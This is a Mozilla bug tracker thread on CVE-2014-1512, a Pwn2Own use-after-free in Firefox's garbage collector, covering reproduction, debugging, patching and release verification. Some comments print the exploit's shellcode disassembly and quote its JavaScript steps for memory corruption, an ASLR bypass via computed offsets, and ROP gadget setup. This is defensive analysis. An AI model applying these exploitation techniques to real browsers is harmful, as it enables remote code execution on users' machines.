Bug 982957 (CVE-2014-1512)

OOM in TypeObject::sweep leaves pointers dangling (VUPEN Pwn2Own) (ZDI-CAN-2219)

VERIFIED FIXED in Firefox 28

Status

()

defect
VERIFIED FIXED
5 years ago
3 years ago

People

(Reporter: curtisk, Assigned: jandem)

Tracking

({csectype-uaf, sec-critical})

unspecified
mozilla29
Points:
---

Firefox Tracking Flags

(firefox27 wontfix, firefox28+ verified, firefox29+ verified, firefox30+ unaffected, firefox-esr2428+ verified, b2g18 fixed, b2g-v1.1hd fixed, b2g-v1.2 fixed, b2g-v1.3 fixed, b2g-v1.3T fixed, b2g-v1.4 unaffected)

Details

(Whiteboard: [pwn2own 2014][adv-main28+][adv-esr24.4+] fixed on trunk by bug 980630, URL)

Attachments

(3 attachments, 1 obsolete attachment)

Comment hidden (empty)
Looks like all JS to me.
Component: Security → JavaScript Engine
Summary: ZDI-CAN-2219 UAF → VUPEN Pwn2Own UAF in JavaScript (ZDI-CAN-2219)
Alias: CVE-ZDI-1512
Whiteboard: [pwn2own 2014]
Alias: CVE-ZDI-1512 → CVE-2014-1512
credit for this one needs to be listed as "VUPEN"
QA Contact: mwobensmith
Both of these just give me out of memory crashes.
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #6)
> (On a debug trunk build)

Try 32-bit opt builds?
I do get an interesting looking crash on 27 though ... downloading symbols now.
On a 27 release build I crash with:

First-chance exception at 0x5E4B9A74 (mozjs.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x000FC0B0.
>	mozjs.dll!js::GCMarker::processMarkStackTop(js::SliceBudget & budget) Line 1432	C++
 	mozjs.dll!js::GCMarker::drainMarkStack(js::SliceBudget & budget) Line 1534	C++
 	mozjs.dll!IncrementalCollectSlice(JSRuntime * rt, __int64 budget, JS::gcreason::Reason reason, js::JSGCInvocationKind gckind) Line 4394	C++
 	mozjs.dll!GCCycle(JSRuntime * rt, bool incremental, __int64 budget, js::JSGCInvocationKind gckind, JS::gcreason::Reason reason) Line 4564	C++
 	mozjs.dll!Collect(JSRuntime * rt, bool incremental, __int64 budget, js::JSGCInvocationKind gckind, JS::gcreason::Reason reason) Line 4703	C++
 	mozjs.dll!JS::ShrinkingGC(JSRuntime * rt, JS::gcreason::Reason reason) Line 198	C++
 	xul.dll!nsJSContext::GarbageCollectNow(JS::gcreason::Reason aReason, nsJSContext::IsIncremental aIncremental, nsJSContext::IsCompartment aCompartment, nsJSContext::IsShrinking aShrinking, __int64 aSliceMillis) Line 1951	C++
 	xul.dll!nsJSEnvironmentObserver::Observe(nsISupports * aSubject, const char * aTopic, const wchar_t * aData) Line 251	C++
 	xul.dll!nsObserverService::NotifyObservers(nsISupports * aSubject, const char * aTopic, const wchar_t * someData) Line 330	C++
 	xul.dll!nsThread::ProcessNextEvent(bool mayWait, bool * result) Line 579	C++
I'm reliably seeing scary GC crashes on 27 and harmless OOM crashes on opt Nightly ... testing Aurora and Beta.
Kyle, are you on Windows 8 (or technically, 8.1)? I ask because that was the platform on which it was executed.

I was able to reproduce on Fx27.0.1 32bit build running on Windows 8 64-bit. I see calc.exe once the browser quits.

For 28/29, the browser crashes, no calc.

Comment 12

5 years ago
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #9)
>	mozjs.dll!js::GCMarker::processMarkStackTop(js::SliceBudget & budget) Line 1432	C++

This is a very common top frame of crashes, this has been seen as a topcrash signature for a long time. It scares me somewhat if we can see exploits with it.
(Assignee)

Comment 13

5 years ago
I'm also unable to repro the exploit on Win7/Firefox 27.0.1. I do get GC crashes though on Windows and OS X, so I started to investigate those.

It looks like we OOM in AllocateArrayBufferContents, then ArrayBufferObject::allocateSlots leaves obj->elements invalid and this can lead to problems when we try to free it.
(Assignee)

Comment 15

5 years ago
(In reply to Jan de Mooij [:jandem] from comment #13)
> It looks like we OOM in AllocateArrayBufferContents, then
> ArrayBufferObject::allocateSlots leaves obj->elements invalid and this can
> lead to problems when we try to free it.

Sorry scratch this part, it's more complicated. Still debugging.
Alice, can you look for a fix range based on comment 14?
Flags: needinfo?(alice0775)
(Assignee)

Comment 17

5 years ago
Alice, it will likely point to bug 980630, so you may want to start with that.

Not sure yet though whether the TI OOMs are the real problem or if it's somewhere else and MOZ_CRASH is just hiding it.
All of the crashes Alice is getting are safe intentional crashes.  Weird.
On Mozilla Central nightly builds on Feb 2 and before I crash in mozjs.dll like
bp-81f1f555-e196-469a-821c-3d6b12140313

and on Feb 3 and later mozilla-central nightlies I get mozalloc.dll crashes like
bp-60ee3e08-2d08-4033-b2e6-d87572140313
(In reply to Daniel Veditz [:dveditz] from comment #20)
> On Mozilla Central nightly builds on Feb 2 and before I crash in mozjs.dll
> like
> bp-81f1f555-e196-469a-821c-3d6b12140313
> 
> and on Feb 3 and later mozilla-central nightlies I get mozalloc.dll crashes
> like
> bp-60ee3e08-2d08-4033-b2e6-d87572140313

That's not consistent with bug 980630.
If I looked up csets correctly, that would provide the following fix range: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=3e40f7389d1b&tochange=44ba69cacd7e

Nothing in there jumps out though.  Very little JS stuff.
really? I see a bunch of js devs checking in. bug 966040 maybe?
or Bug 962449 - "Make various getOrCreate methods static to efficiently fix hazards"?
(In reply to Daniel Veditz [:dveditz] from comment #23)
> really? I see a bunch of js devs checking in. bug 966040 maybe?

I ignored that because it's GGC related, but perhaps.

(In reply to Daniel Veditz [:dveditz] from comment #24)
> or Bug 962449 - "Make various getOrCreate methods static to efficiently fix
> hazards"?

I will admit that I didn't look for Bobby's name when I was scanning.
Yeah, those two look the most suspicious to me, as they involve changing object allocation.

Bug 966040 included what looks like a refactoring of allocation that probably applies even without GGC:
  https://hg.mozilla.org/mozilla-central/rev/56d9e75b36b4
Wait a minute... if it got fixed on Feb 2 that means Aurora should also be fixed. Can we look for something on Aurora that backs out one of those changes?

Or more likely I have the wrong regression range. Would be really nice if someone else could try too.
Paul - Is this needed on FxOS 1.3?
Flags: needinfo?(ptheriault)

Comment 29

5 years ago
I killed other application so that room of RAM increased. 
And then I re-tested.

Crash with @ mozjs.dll
bp-bac52cef-f251-4b42-bbe7-8ce962140313
SourceStamp=fbd66b4eaeea

Crash with @ mozjs.dll
bp-354d9d50-7a80-4c74-96d7-7a29e2140313
SourceStamp=fb23f20f9c6c



Crash with @ mozalloc.dll
bp-d68c4468-52fb-420f-9b86-c992e2140313
SourceStamp=74d0e18037f5

Crash with @ mozalloc.dll
bp-1c2f6a85-c3fd-4557-8594-05bcb2140313
SourceStamp=64e41faa2462


Pushlog
http://hg.mozilla.org/integration/mozilla-inbound/pushloghtml?fromchange=fb23f20f9c6c&tochange=74d0e18037f5
(In reply to Andrew McCreight [:mccr8] from comment #26)
> Bug 966040 included what looks like a refactoring of allocation that
> probably applies even without GGC:
>   https://hg.mozilla.org/mozilla-central/rev/56d9e75b36b4

CC'ing Terrence and Jon as well, our GGC folks.
PoC.html just get OOM killed on 1.4 hamachi for me:

<4>[14904.112561] send sigkill to 2729 (bug Test), adj 2, size 27421
(Assignee)

Comment 32

5 years ago
Alice, did you download Win32 Opt builds from tbpl or build locally? I've some trouble reproducing this crash with my own Windows opt builds.

Comment 33

5 years ago
(In reply to Jan de Mooij [:jandem] from comment #32)
> Alice, did you download Win32 Opt builds from tbpl or build locally? I've
> some trouble reproducing this crash with my own Windows opt builds.

Downloaded from 
http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-inbound-win32/
and
http://inbound-archive.pub.build.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-inbound-win32/
(Assignee)

Comment 34

5 years ago
I was finally able to get the GC crash in a debugger. We crash in ScanTypeObject:

        types::Property *prop = type->getProperty(i);
5E42E994 8B 4B 0C             mov         ecx,dword ptr [ebx+0Ch]  
5E42E997 81 E1 F0 FF 00 00    and         ecx,0FFF0h  
5E42E99D 83 F9 10             cmp         ecx,10h  
5E42E9A0 75 05                jne         ScanTypeObject+47h (5E42E9A7h)  
5E42E9A2 8B 43 14             mov         eax,dword ptr [ebx+14h]  
5E42E9A5 EB 06                jmp         ScanTypeObject+4Dh (5E42E9ADh)  
5E42E9A7 8B 53 14             mov         edx,dword ptr [ebx+14h]  
5E42E9AA 8B 04 AA             mov         eax,dword ptr [edx+ebp*4]  
        if (prop && JSID_IS_STRING(prop->id))
5E42E9AD 85 C0                test        eax,eax  
5E42E9AF 74 56                je          ScanTypeObject+0A7h (5E42EA07h)  
5E42E9B1 8B 00                mov         eax,dword ptr [eax]  
5E42E9B3 A8 07                test        al,7  
5E42E9B5 75 50                jne         ScanTypeObject+0A7h (5E42EA07h)  
            PushMarkStack(gcmarker, JSID_TO_STRING(prop->id));
5E42E9B7 8B F0                mov         esi,eax  
5E42E9B9 C1 EE 03             shr         esi,3  
5E42E9BC 81 E6 FF FF 01 00    and         esi,1FFFFh  
5E42E9C2 8B CE                mov         ecx,esi  
5E42E9C4 83 E1 1F             and         ecx,1Fh  
5E42E9C7 BF 01 00 00 00       mov         edi,1  
5E42E9CC D3 E7                shl         edi,cl  
5E42E9CE 8B C8                mov         ecx,eax  
5E42E9D0 81 E1 B0 C0 FF FF    and         ecx,0FFFFC0B0h  
5E42E9D6 81 C9 B0 C0 0F 00    or          ecx,0FC0B0h  
5E42E9DC C1 EE 05             shr         esi,5  
5E42E9DF 8D 14 B1             lea         edx,[ecx+esi*4]  
5E42E9E2 8B 0A                mov         ecx,dword ptr [edx]     <----------
5E42E9E4 85 CF                test        edi,ecx  
5E42E9E6 75 1F                jne         ScanTypeObject+0A7h (5E42EA07h)  
5E42E9E8 0B CF                or          ecx,edi  
5E42E9EA 89 0A                mov         dword ptr [edx],ecx  
5E42E9EC F6 00 0F             test        byte ptr [eax],0Fh  

I marked the instruction that crashes. edx is 0xfc0b0, this is the crash address you can also see in the GC-related crash reports Kyle posted in comment 14.

So we're marking a TypeObject and crashing, likely due to an OOM when we add TypeObject properties. Will investigate more.
(Assignee)

Comment 35

5 years ago
In this particular (poc.html) case, the TypeObject has basePropertyCount() == 1. This means TypeObject::getProperty will cast TypeObject::propertySet to a Property.

property->id == 0. JSID_IS_STRING returns |true| in this case and JSID_TO_STRING(prop->id) returns nullptr.

Then we do some bit twiddling and crash in ChunkBitmap::markIfUnmarked (inlined):

   getMarkWordAndMask(cell, BLACK, &word, &mask);
   if (*word & mask)
       return false;

*word is where we crash.
(Assignee)

Comment 36

5 years ago
If I change AllocateArrayBufferContents to initialize all bytes as 0x10 instead of 0 for arrays of length 8160, JSID_TO_STRING(prop->id) is no longer nullptr but 0x10101010 (and the crash address becomes 0x101fc0f0).

This suggests the poc.html crash works like this:

(1) TypeObject::sweep OOMs, TypeObject::propertySet becomes a dangling pointer. (Note: "sweep" here is a bit misleading, the TypeObject is not necessarily going away.)

(2) Even more ArrayBuffers are allocated. TypeObject::propertySet now points into one of these ArrayBuffers.

(3) GC crashes when it tries to mark this TypeObject again.
One of the crashes I get is bp-3ac2b710-65a6-4675-bbb2-decce2140313 in ScanRope, which led me to bug 668583 with a patch marked checkin+ but still open. Related? Helpful? Just random what parts of GC get corrupted?
Flags: needinfo?(sphink)
(Assignee)

Comment 38

5 years ago
I'll post a patch to fix the issue described in comment 36.

Matt, it looks like you're the only one able to reproduce the exploit (not the GC crashes). Can you give us more info about your hardware/VM? How much memory does it have? Does it crash reliably?

Will you be able to test a patch or Try build?
Flags: needinfo?(mwobensmith)
(Assignee)

Comment 39

5 years ago
Crash if we OOM in TypeObject::sweep and ConstraintTypeSet::sweep. See analysis in comment 36 for more info.

This is the simplest and safest fix and we're doing this already on mozilla-central (bug 980630).

Brian, can you think of other cases where we need this?
Assignee: nobody → jdemooij
Status: NEW → ASSIGNED
Attachment #8390602 - Flags: review?(bhackett1024)
(Assignee)

Updated

5 years ago
Keywords: csectype-uaf
Fwiw, LangFuzz did show several crashes at [@ js::types::ConstraintTypeSet::sweep] with OOM conditions, but I stopped reporting these types of bugs, because it's nearly impossible to get developers to look at them (and reporting them consumes a lot of time). And the signature in the fuzzer looked like a null-deref, so non-s-s.

If this turns out to be the right bug, then we should invest again in OOM testing. I have several tools/scripts at hand to find these issues, that's not the problem. But we need developers to fix them.
Attachment #8390602 - Flags: review?(bhackett1024) → review+
(Assignee)

Comment 41

5 years ago
We still need to know how they go from UAF to code execution, but that's a lot easier if we can reproduce it. (We can modify the shell code to catch it in a debugger etc.)

So if you're reading this and have a Windows machine or VM to try the exploit on, and it successfully opens calc.exe, specs etc would be really appreciated.
(In reply to Jan de Mooij [:jandem] from comment #38)
> I'll post a patch to fix the issue described in comment 36.
> 
> Matt, it looks like you're the only one able to reproduce the exploit (not
> the GC crashes). Can you give us more info about your hardware/VM? How much
> memory does it have? Does it crash reliably?
> 
> Will you be able to test a patch or Try build?


I'm using a VMware image of Win8 x64 with 2GB RAM allocated. The exploit seemed to work well there. A try build might be best for me to test with.
Flags: needinfo?(mwobensmith)
I also tried in my VMWare VM Win7 x64 with 2GB RAM and 6 processor cores.  The first time, Firefox 27.0.1 crashed: https://crash-stats.mozilla.com/report/index/59539e4a-d833-435e-8708-b3c422140313.  The second time, calc.exe opened.
Tried a bunch of times on the same machine with lastest Nightly, got a crash every time, plus a slow script dialog followed by a crash in a couple of the test runs.
(Assignee)

Comment 45

5 years ago
Thanks, Ehsan. Now we know this also repros on Windows 7.

It looks like the exploit requires either VMWare, 2GB RAM or both. I'm downloading a Windows image from our ftp now so that I can install it in VMWare, but it will take a while.
(Assignee)

Comment 46

5 years ago
OK, I installed Win 7 in VMWare Fusion and I can repro the exploit. Building 27.0.1 now and hopefully that one will also open calc and I can attach a debugger.
I think this exploit doesn't work on 30.  Please correct me if I'm wrong.
(Assignee)

Comment 48

5 years ago
Comment on attachment 8390602 [details] [diff] [review]
Crash if TypeObject::sweep OOMs

We should land this patch while we investigate the exploit more in case there's another bug. Note that trunk is not affected, but everything up to and including aurora is.

[Security approval request comment]
How easily could an exploit be constructed based on the patch? It's not completely trivial but also not that hard to figure out it's fixing a UAF.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? No.

Which older supported branches are affected by this flaw? Release, beta, aurora, ESR.

If not all supported branches, which bug introduced the flaw? Unknown.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? Should be easy.

How likely is this patch to cause regressions; how much testing does it need? Unlikely. It makes us crash when we OOM in some cases, we're already doing this on mozilla-central.

[Approval Request Comment]
Risk to taking this patch (and alternatives if risky): Very low.
String or UUID changes made by this patch: None.

[Approval Request Comment]
Regression caused by (bug #): Unknown.
User impact if declined: sec bugs, crashes
Testing completed (on m-c, etc.): Similar code is on m-c.
Risk to taking this patch (and alternatives if risky): Very low.
String or IDL/UUID changes made by this patch: None.
Attachment #8390602 - Flags: sec-approval?
Attachment #8390602 - Flags: approval-mozilla-release?
Attachment #8390602 - Flags: approval-mozilla-esr24?
Attachment #8390602 - Flags: approval-mozilla-beta?
Attachment #8390602 - Flags: approval-mozilla-aurora?
Comment on attachment 8390602 [details] [diff] [review]
Crash if TypeObject::sweep OOMs

Since this isn't landing to m-c it doesn't require sec-approval, we can go ahead with uplift to branches.
Attachment #8390602 - Flags: sec-approval?
Attachment #8390602 - Flags: approval-mozilla-release?
Attachment #8390602 - Flags: approval-mozilla-release+
Attachment #8390602 - Flags: approval-mozilla-esr24?
Attachment #8390602 - Flags: approval-mozilla-esr24+
Attachment #8390602 - Flags: approval-mozilla-beta?
Attachment #8390602 - Flags: approval-mozilla-beta+
Attachment #8390602 - Flags: approval-mozilla-aurora?
Attachment #8390602 - Flags: approval-mozilla-aurora+
(Assignee)

Comment 50

5 years ago
Unfortunately the exploit doesn't work in the VM with my own 27.0.1 opt build (not entirely surprising as there are many magic values in it), so I started debugging the official build. I added 0xccccccc (x86 interrupt instructions) to the shell code, here's what I see in the debugger:

50550000  int         3   <- I added these 4
50550001  int         3  
50550002  int         3  
50550003  int         3  
50550004  mov         eax,95C2152Bh  
50550009  fcmovnu     st,st(6)  
5055000B  fnstenv     [esp-0Ch]  
5055000F  pop         edi  
50550010  xor         ecx,ecx  
50550012  mov         cl,38h  
50550014  sub         edi,0FFFFFFFCh  
50550017  xor         dword ptr [edi+0Eh],eax  
5055001A  add         ebp,dword ptr [ebx+ebx+20h]  
5055001E  pushad  
5055001F  daa  
50550020  test        al,48h  
50550022  or          byte ptr [ebx],ch  
50550024  into  
50550025  js          50550017  
50550027  dec         esp  
50550028  lock xchg   al,bh  
5055002B  jmp         38C2:F5274122  
50550032  xchg        eax,edx  
50550033  cmc  
50550034  aadb        75h  
50550036  sbb         eax,0A51B2605h  
5055003B  ja          50550015  
5055003D  test        al,0C0h  
5055003F  lahf  
50550040  inc         esp  
50550041  iretd  

So it's loading this code (minus the first 4 instructions) at address 0x50550000 (this value appears a few times in the JS code as well). I'll see if I can find out more.

Updated

5 years ago
Summary: VUPEN Pwn2Own UAF in JavaScript (ZDI-CAN-2219) → OOM in TypeObject::sweep leaves pointers dangling (VUPEN Pwn2Own) (ZDI-CAN-2219)
Whiteboard: [pwn2own 2014] → [pwn2own 2014][adv-main28+][adv-esr24.4+]

Comment 53

5 years ago
I tried to reproduce this bug on a Firefox 28 beta. At every load of exploit.html or poc.html I get a crash, but except for one mozalloc crash (https://crash-stats.mozilla.com/report/index/45fcb654-4242-4c06-9fb8-9bcbc2140314), they all point to libxul (e.g.
https://crash-stats.mozilla.com/report/index/467195ef-9792-452f-891b-d6d3e2140314
https://crash-stats.mozilla.com/report/index/6f128edc-30f3-4636-ae45-0bfaf2140314
https://crash-stats.mozilla.com/report/index/973f4f62-1798-4139-8912-ab9bd2140314
) Are these crashes related to this same bug?
(Assignee)

Comment 55

5 years ago
I investigated the (undocumented) exploit more, in case there are other issues. I know how it works now more or less:

* Attack starts as described in comment 36. This gives us a bogus JSString pointer pointing into our ArrayBuffer.

* The ArrayBuffers are prepared carefully to confuse GC marking code. For instance, GC uses the string pointer address to get a Zone pointer, we can now give the GC marking code our own Zone* and control what's read from it. So we end up in EncapsulatedId::pre:

    JS::shadow::Zone *shadowZone = ShadowZoneOfStringFromAnyThread(str);
    if (shadowZone->needsBarrier()) {
        js::gc::MarkStringUnbarriered(shadowZone->barrierTracer(), &str, "write barrier");
        ...

* This calls MarkUnbarriered<JSString>, where we (eventually) call MarkInternal(JSTracer *trc, T **thingp).

Here we have a JSTracer* that comes from the bogus Zone* we have control over (zone->barrierTracer), we made sure the tracer has address 0x50505080:

    if(k6 == 0x1412)
        view[k6] = 0x50505080;

trc->callback is nullptr, this is done here:

    else if (k6 == 0x141D)
        view[k6] = 0x0;

Convenient, because it means MarkInternal will take this path:

    if (!trc->callback) {
        ... snip ...
        thing->zone()->maybeAlive = true;

And that's a nice write right there. Remember, thing->zone() is something we control, so we use this to modify the byteLength field of another ArrayBufferObject from 0xffff0 to 0x400ffff0.

* Then, our JS code can check for this:

    if (tab5[ii].byteLength != 0x000FFFF0 ) {

Whenever this |if| is taken, we have an ArrayBuffer with a bogus byteLength of 0x400ffff0.

Signal that everything is set up, after this all we need to do is trigger another GC:

    flag2 = true;

Int32Array view of the previous buffer and current one.

    var viewN= new Int32Array(tab5[ii -1],0,0x3FFF0);	
    var view= new Int32Array(tab5[ii ],0,0x004FFFF0);

Now we can write a bit out-of-bounds (bogus byteLength, remember), but we want more. So we set the byteLength of the *next* ArrayBuffer to UINT32_MAX and create a DataView for that one. This gives us pretty much unlimited access to arbitrary memory:

    view[0x3FFFD] = 0xFFFFFFFF;
    var data = DataView(tab5[ii +1]);

Now we can get a pointer to the ViewList of the next ArrayBuffer (from its ObjectElements). We use this to get an Int32Array JSObject*:

    var ad1 = data.getInt32(0x3FFFD*4+4,true);
    var index1 = ad1 - 0x50700010;

Load its shape:

    var ad2 = data.getInt32(index1,true);
    var index2 = ad2 - 0x50700010;

Load its BaseShape:

    var ad3 = data.getInt32(index2,true);
    var index3 = ad3 - 0x50700010;

Load its clasp:

    var ad4 = data.getInt32(index3,true);
    var index4 = ad4 - 0x50700010;

Load the class name (const char*, "Int32Array"):

    var ad5 = data.getInt32(index4,true);

From this string address, we can calculate some code addresses we can use (bypassing ASLR!) and store them in memory that will end up on our C stack later on.

First, we get the address of __imp__VirtualProtect:

    var vpPointerAd = ad5 - 0x45744;
    var vpAd = data.getInt32(vpPointerAd - 0x50700010 ,true);

Then some gadgets (pointers to useful snippets of code):

    var gadget1Ad = ad5 - 0x1E647F;
    var gadget2Ad = ad5 - 0x2BAA20;
    var gadget3Ad = ad5 - 0x1875CA;

    viewN[0x157C] = gadget1Ad;
    viewN[0x13FC] = gadget2Ad;
    viewN[0x1585] = gadget3Ad;

First gadget is some code in EnterIon (push dword ptr [ebp-80h]; mov ecx,ebx; call dword ptr [eax+4])

Second one some code in the frontend (add esp,10h; ret)  

Third one in _chkstk is interesting, this lets us change our stack pointer to something we put in the ArrayBuffer:

xchg    esp, eax                ; update esp
mov     eax, dword ptr [eax]    ; get return address
mov     dword ptr [esp], eax    ; and put it at new TOS
ret

Then we set up some more data, 0x50550000 is where the shell code is, 0x50505020 is the stack pointer it will use:

    viewN[0x1589] = vpAd;
    viewN[0x158A] = 0x50550000;			
    viewN[0x158B] = 0x50550000;			
    viewN[0x158C] = 0x1000;				
    viewN[0x158D] = 0x40;				
    viewN[0x158E] = 0x50505020;			

Finally, we set trc->callback to the following code in TokenStream::strictMode:

mov         eax,dword ptr [eax+590h]  
mov         edx,dword ptr [eax]  
mov         ecx,eax  
call        dword ptr [edx] 

    viewN[0x141D] = ad5 - 0x117E21;

* Now we just generate more garbage (counter1.toString()) until we GC again. Then MarkInternal<JSString> does this:

trc->callback(trc, (void **)thingp, MapTypeToTraceKind<T>::kind);

This lands us in the TokenStream::strictMode code I mentioned earlier. From there we call gadget 1, there we call gadget 3 (this gives us the stack pointer we want). Then we return, end up in gadget 2, return to some kernel code that probably marks our shell code executable, then we end up in our shell code.
(Assignee)

Comment 56

5 years ago
(In reply to Ioana Budnar, QA [:ioana] from comment #53)
> Are these crashes related to this same bug?

Yes. These libxul crashes all have crash address 0xfc0b0.

The crashes you got with the patch are all at 0x0, I'm pretty sure that's the intentional crash we added on OOM, but unfortunately there are no stack traces so I can't say for sure :(
Comment 4 is private: false
Whiteboard: [pwn2own 2014][adv-main28+][adv-esr24.4+] → [pwn2own 2014][adv-main28+][adv-esr24.4+] fixed on trunk by bug 980630
I'm testing on Fx24.4.0esr and Fx28, Windows 8. I still see crashes - as Ioana does in comments 53 and 54 - but they are different. We no longer get the same stack trace for the Fx27.0.1 crash - which does indeed launch calc for me - so I'd assume that could be an indicator of success. However, it might be good for someone to take a quick look and weigh in on whether we feel the other two are acceptable. 

Fx27.0.1:
https://crash-stats.mozilla.com/report/index/582080b5-1d7f-4e1a-9f50-cc0802140317

Fx24.4.0esr:
https://crash-stats.mozilla.com/report/index/aeaff345-7829-4f76-8f5d-600772140317

Fx28:
https://crash-stats.mozilla.com/report/index/9d148b71-a63b-4215-857b-a87322140317

Comment 58

5 years ago
One of our vendors reported a GC crash from monkey testing:

https://bugzilla.mozilla.org/show_bug.cgi?id=984101

Any chance that that is related?
(Assignee)

Comment 59

5 years ago
(In reply to Matt Wobensmith from comment #57)
> However, it
> might be good for someone to take a quick look and weigh in on whether we
> feel the other two are acceptable. 

Those reports look fine to me, not the GC crashes we got before.

(In reply to Andreas Gal :gal from comment #58)
> One of our vendors reported a GC crash from monkey testing:
> 
> https://bugzilla.mozilla.org/show_bug.cgi?id=984101
> 
> Any chance that that is related?

This looks like a WeakMap issue.. It could be related maybe but GC crashes can have many different (memory corruption etc) causes so it's hard to say.

Comment 60

5 years ago
(In reply to Jan de Mooij [:jandem] from comment #56)
> (In reply to Ioana Budnar, QA [:ioana] from comment #53)
> > Are these crashes related to this same bug?
> 
> Yes. These libxul crashes all have crash address 0xfc0b0.
> 
> The crashes you got with the patch are all at 0x0, I'm pretty sure that's
> the intentional crash we added on OOM, but unfortunately there are no stack
> traces so I can't say for sure :(

It seems I only get the libxul crashes on Ubuntu. I tested this on Windows 7 64bit with the latest Aurora build and I get crashes with another signature (js::gc::CrashAtUnhandlableOOM(char const*)).

If you need other stack traces for the Ubuntu crashes than what it's in the crash report, please let me know how I could get them.
Flags: needinfo?(jdemooij)
As per comment 59, marking verified for Fx24.4.0esr and Fx28.
(Assignee)

Comment 62

5 years ago
(In reply to Ioana Budnar, QA [:ioana] from comment #60)
> It seems I only get the libxul crashes on Ubuntu. I tested this on Windows 7
> 64bit with the latest Aurora build and I get crashes with another signature
> (js::gc::CrashAtUnhandlableOOM(char const*)).

That one is expected :)
Flags: needinfo?(jdemooij)

Comment 63

5 years ago
The libxul crashes also happen on Nightly, RC and ESR:
https://crash-stats.mozilla.com/report/index/53292124-7f21-48e1-a763-1d5662140317
https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0-a69742140317
https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708-75f552140317
https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708-75f552140317

Jan, the need-info was for the last part of comment 60:
> If you need other stack traces for the Ubuntu crashes than what it's in the
> crash report, please let me know how I could get them.
Jan, are the crashes in comment 63 of concern to this bug?
Flags: needinfo?(jdemooij)
(Assignee)

Comment 65

5 years ago
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #64)
> Jan, are the crashes in comment 63 of concern to this bug?

I don't know, there are no stacks :( Why don't we have useful stack traces for these Linux builds?
Flags: needinfo?(jdemooij)
(In reply to Jan de Mooij [:jandem] from comment #65)
> (In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #64)
> > Jan, are the crashes in comment 63 of concern to this bug?
> 
> I don't know, there are no stacks :( Why don't we have useful stack traces
> for these Linux builds?

I don't know -- who can we ask? I'm concerned that we're releasing in less than 24 hours if this isn't 100% fixed.
(Assignee)

Comment 67

5 years ago
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #66)
> I don't know -- who can we ask? I'm concerned that we're releasing in less
> than 24 hours if this isn't 100% fixed.

Setting NI. The problem here is that QA can't get crash reports with useful stacks (see comment 63), making it harder to verify this.
Flags: needinfo?(ted)
Flags: needinfo?(benjamin)
libxul.so 		000000000000000000000000000000000 	libxul.so

No module ID, so we can't look up symbols. I don't really know *why* there's no module ID, though if we're close to OOM that might explain it. Ted do you know if there's an easy way to force a manual run of MDSW to say "libxul.so module ID is X" 

Can I also say it's a little weird that http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02-mozilla-central/ doesn't have the crashreporter symbols for those builds.
Flags: needinfo?(benjamin)
(In reply to Benjamin Smedberg  [:bsmedberg] from comment #68)
> libxul.so 		000000000000000000000000000000000 	libxul.so
> 
> No module ID, so we can't look up symbols. I don't really know *why* there's
> no module ID, though if we're close to OOM that might explain it. Ted do you
> know if there's an easy way to force a manual run of MDSW to say "libxul.so
> module ID is X" 
> 
> Can I also say it's a little weird that
> http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02-
> mozilla-central/ doesn't have the crashreporter symbols for those builds.

It looks like these only go to the tinderbox builds dir: http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-central-linux/1395050522

(In addition to the symbol server, of course.)
(Assignee)

Comment 71

5 years ago
(In reply to Ted Mielczarek [:ted.mielczarek] from comment #70)
> I processed this locally, this is the stack from:
> https://crash-stats.mozilla.com/report/index/53292124-7f21-48e1-a763-
> 1d5662140317

Thanks! This one looks fine, CrashAtUnhandlableOOM is expected here.
Comment hidden (obsolete)
Stack for https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0-a69742140317

These should be the right symbols, it looks like it's crashing in nsCycleCollector::BeginCollection.
(In reply to Ioana Budnar, QA [:ioana] from comment #63)
> https://crash-stats.mozilla.com/report/index/966fb7c7-926c-4878-9708-
> 75f552140317

This crash is also [@ CrashAtUnhandlableOOM ].

Iona: you pasted 4 links in comment 63, but the third and fourth are the same.
Flags: needinfo?(ioana.budnar)
Ted, I need to give the go-ahead to push to mirrors today if we're going to release tomorrow. In your opinion, can we release given the current state of this bug?

Comment 78

5 years ago
(In reply to Ted Mielczarek [:ted.mielczarek] from comment #74)
> Created attachment 8392393 [details]
> stack from cfc9c7f8-cdcc-4832-85c0-a69742140317
> 
> Stack for
> https://crash-stats.mozilla.com/report/index/cfc9c7f8-cdcc-4832-85c0-
> a69742140317
> 
> These should be the right symbols, it looks like it's crashing in
> nsCycleCollector::BeginCollection.

And this is the 28.0 release build, from all I can tell. We should definitely verify if that's a safe crash. That said, it is a 0x0 crash and not the address we apparently saw with the vulnerable crash, at least from how I read comment #56. Still, verification would be good.
Any time we crash in MOZ_CRASH() it should be safe.  The line Ted pointed to in comment 75 is just us crashing safely when we run out of memory.

Comment 80

5 years ago
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #77)
> Ted, I need to give the go-ahead to push to mirrors today if we're going to
> release tomorrow. In your opinion, can we release given the current state of
> this bug?

I'm not sure if Ted would be able answer this, he just dug out the stacks for Ioana's crashes (FWIW, would be nice if we could coerce Socorro to reprocess with a "forced" reference to symbols in such a case - may be worth a bug if Ted agrees).

I'd have ni?ed Jan to confirm if the crash stack in attachment 8392393 [details] is safe but Andrew just did that. :)
That said, Ioana's report of bp-966fb7c7-926c-4878-9708-75f552140317 from the same 28.0 build is a safe crash in the intended place.

We are missing the ESR crash from Ioana, the list in comment #63 is Nightly and two crashes from 28.0 (RC I assume).
Thanks Robert, so it looks like this is "safe" for me to okay pushing Firefox 28 to mirrors. That's not to say we shouldn't continue to investigate this but that investigation can continue in parallel. Is that right?
Flags: needinfo?(kairo)
